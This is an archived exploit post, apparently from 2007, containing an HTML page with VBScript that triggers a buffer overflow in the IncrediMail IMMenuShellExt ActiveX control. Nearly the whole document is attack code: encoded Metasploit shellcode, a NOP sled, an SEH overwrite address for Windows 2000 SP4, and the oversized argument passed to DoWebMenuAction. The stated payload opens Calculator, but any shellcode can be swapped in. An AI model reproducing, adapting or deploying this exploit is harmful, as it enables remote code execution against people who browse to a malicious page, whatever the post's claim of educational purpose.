incredimail-overflow.txt
Posted on 10 May 2007
<!-- =============================================================================================== IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit By Umesh Wanve ============================================================================================== Date : 08-05-2007 Reference: http://www.securityfocus.com/bid/23674 Tested on Windows 2000 SP4 Server English Windows 2000 SP4 Professional English Opens Calculator on the Vulnerable machine. PS. This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage. Always thanks to Metasploit and Stroke --> <html> <title> IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit - By Umesh Wanve </title> <body> <OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:F8984111-38B6-11D5-8725-0050DA2761C4" > </OBJECT> <script language="vbscript"> <!-- win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com --> shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47") shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38") shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e") shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54") shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33") shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a") shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43") shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49") shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a") nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90") pointer_to_seh=unescape("%eb%06%90%90") <!-- 0x750211a9 -- pop pop ret from ws2help.dll from windows2000 SP4 --> seh_handler=unescape("%a9%11%02%75") targetFile = "C:PROGRA~1INCRED~1inImShExt.dll" prototype = "Sub DoWebMenuAction ( ByVal bsPath As String )" memberName = "DoWebMenuAction" progid = "INCREDISHELLEXTLib.IMMenuShellExt" argCount = 1 arg1=String(2483, "A") arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop target.DoWebMenuAction arg1 </script> </body> </html>
